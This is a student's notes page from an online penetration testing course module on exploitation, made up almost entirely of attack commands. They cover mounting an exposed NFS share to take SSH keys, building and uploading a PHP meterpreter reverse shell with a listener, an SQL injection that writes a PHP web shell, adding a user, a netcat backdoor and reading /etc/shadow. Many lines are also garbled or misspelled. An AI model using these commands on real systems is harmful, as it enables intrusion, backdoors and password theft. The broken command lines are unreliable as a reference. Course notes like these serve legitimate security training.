< All Advanced Penetration Testing Notes

Oishi | Advanced Penetration Testing | Module 7 - Exploitation

By: Oishi | Related Course: Advanced Penetration Testing | Published: August 4, 2017 | Modified: October 19, 2017
Join Cybrary

NotepadAttaching to a key

Attaching to
additional research on mounting ip address
> showmount -e ”ipaddress”
> mkdir /tmp/name
>mount -t nfs ”ipaddress:/export/name /tmp/name”
> mount -t nfs -o nolock ”ipaddress:/export/name /tmp/name
>cd /tmp/name
cd /tmp/name>ls -a     This is the hidden directories
cd /tmp/name> cd .ssh/
cd /tmp/name> ls
cd /tmp/name/ .ssh> cat authorized_keys
cd /tmp/name/ .ssh>cd /root
>apt-get install openssh-server
> ssh-add
>mkdir .ssh
>cp /tmp/name/id_rsa.pub /root/.ssh/
> cd /root/.ssh
/.ssh> ssh name@”ip address”


NotepadExploitation direct exploitation


> cadaver


pw: zampp

dav: /webdav/> put test.txt


kali> cd /user/share/webshells/


>cd php


> cadaver

> service metaspoit\

>service postgresql start

> service metasploit start


> cd /root

> msfvenom – -help-formats

> msfvenom -l payloads

metaspoilt> search xampp

> msfvenom 

the different payloads available

>msfvenom -p php/meterpreter/reverse_tcp -o   

payload is php/meterpreter/reverse_tcp

>msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=1234 >meterrpreter.php

metasploit> use muilti/handler

>show options

>set payload php/meterpreter/reverse_tcp  payload => php/meterpreter/reverse_tcp

>set LHOST

>set LHOST 1234

>show advanced 

> set ExitOnSession false

>show advanced


>help exploit

>exploit -j 

-j is job

> jobs

>cat meterpreter

> cadaver


pw: zampp

dav:/webdav/> put meterpreter.php


metasploit> sessions -l 

list active sessions

>sessions -i











NotepadExploitation pt 3 Directory Transversal

Exploitation pt 3

Directory Transversal

This goes back 5 file systems- 5 is the # ”../”



cd Desktop

cat filezilla.xml


NotepadExploitation Sql

Exploitation Sql

>>ip address/localhost


select ”<?php> system($_GET[’cmd’]); ?>” into outfile C:\\xampp\\htdocs\\shell.php”



>> New page: user james georgia /add


>>Kali cmd

daemon does port listening

>atftpd –daemon –bind-address /tmp


>netstat -antp

>ps aux | atftpd get meterpreter.php C:\\xampp\\htdocs\\meterpreter.php




> sysinfo

> getuid


> get uid

Handler> search mssql_payload


NotepadFtp > back door access to the server

Ftp > back door access to the server
cmd prompt
>ftp ”ipaddress”
new screen> nc ”ipaddress” 6200
cat /etc/shadow
>nano linuxpassword.txt
metasploit> background
>show payloads

NotepadOPen source vulnerablity

>search tikiwiki

> info ”address”
> search osvdb.org for the vulnerablilty


< All Advanced Penetration Testing Notes
Join Cybrary

Our Revolution

We believe Cyber Security training should accessible for everyone, everywhere. Everyone deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is the world's largest community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

We recommend always using caution when following any link

Are you sure you want to continue?